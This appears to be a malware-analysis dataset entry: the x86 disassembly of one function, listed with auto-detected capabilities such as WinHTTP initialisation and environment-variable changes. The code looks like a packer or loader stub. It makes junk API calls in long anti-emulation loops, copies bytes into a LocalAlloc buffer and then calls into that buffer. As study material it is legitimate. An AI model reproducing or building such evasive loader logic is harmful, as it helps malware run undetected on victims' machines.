Function at 0x43adf0
Capabilities:
Get disk size
Get file attributes
Initialize winhttp library
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x449388
push eax
mov dword fs:[0], esp
sub esp, 0x830
push ebx
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidth32A]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
nop
cmp esi, 0xfa62c8f
jge 0x43ae34
call edi
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x43ae45
inc esi
cmp esi, 0x67d12
jl 0x43ae20
cmp dword [0x45a9f4], 0x93
jne 0x43af4e
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDCW]
xor esi, esi
push esi
lea eax, [ebp - 0x838]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
xor ecx, ecx
lock bts dword [ecx], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov eax, dword [ebp - 0x10]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpSetDefaultProxyConfiguration]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0x402df4
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], esi
mov byte [ebp - 0x2c], 0
call fcn.0043c490
add esp, 4
push eax
push 0x402df4
lea ecx, [ebp - 0x30]
call fcn.0043bac0
push esi
mov dword [ebp - 4], esi
call fcn.0043c2a5
add esp, 4
push esi
call fcn.0043c756
add esp, 4
push esi
push esi
call fcn.0043c785
push esi
push esi
call fcn.0043c28e
push esi
call fcn.0043c73f
add esp, 0x14
call fcn.0043ade0
push esi
push esi
call fcn.0043c8b2
add esp, 8
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x18], 0x10
jb 0x43af4e
mov edx, dword [ebp - 0x2c]
push edx
call fcn.0043c790
add esp, 4
mov eax, dword [0x44ed94]
mov dword [0x45b830], eax
mov eax, dword [0x45a9f4]
add eax, 0x1134b
push eax
push 0
mov dword [0x45a9f4], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x45a480], eax
call fcn.0043ad20
mov esi, 0x1692e
nop
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x43af80
cmp dword [0x45a9f4], esi
jbe 0x43affa
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov ebx, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
nop
mov ecx, dword [0x45b830]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x45a480]
mov byte [eax + esi], dl
cmp dword [0x45a9f4], 0x490
jne 0x43aff1
lea ecx, [ebp - 0x10]
push ecx
call edi
push 0
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea edx, [ebp - 0x14]
push edx
push 0
lea eax, [ebp - 0x28]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc esi
cmp esi, dword [0x45a9f4]
jb 0x43afa0
mov esi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov edi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventA]
xor eax, eax
mov dword [ebp - 0x10], eax
mov ecx, dword [0x45a9f4]
add ecx, eax
cmp ecx, 0x8d
jne 0x43b057
push 0
lea edx, [ebp - 0x838]
push edx
push 0
push 0
push 0
push 0
call esi
push 0x402e04
push 0x402e14
call edi
push 0
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call ebx
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x38681
mov dword [ebp - 0x10], eax
jl 0x43b011
call fcn.0043abe0
xor edi, edi
xor esi, esi
jmp 0x43b070
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x43b08e
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0x118ba
mov ecx, dword [ebp - 0x10]
add dword [0x45a480], ecx
inc esi
cmp esi, 0x674bd
jl 0x43b070
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFlags]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x45a9f4], 0x86
jne 0x43b0ea
push 0
call esi
push 0
lea edx, [ebp - 0x438]
push edx
push 0x402e28
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
cmp dword [0x45a9f4], 0xf
jne 0x43b0ff
push 0
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 0x10], 1
jne 0x43b0b0
call fcn.0043a8a0
call dword [0x45a480]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret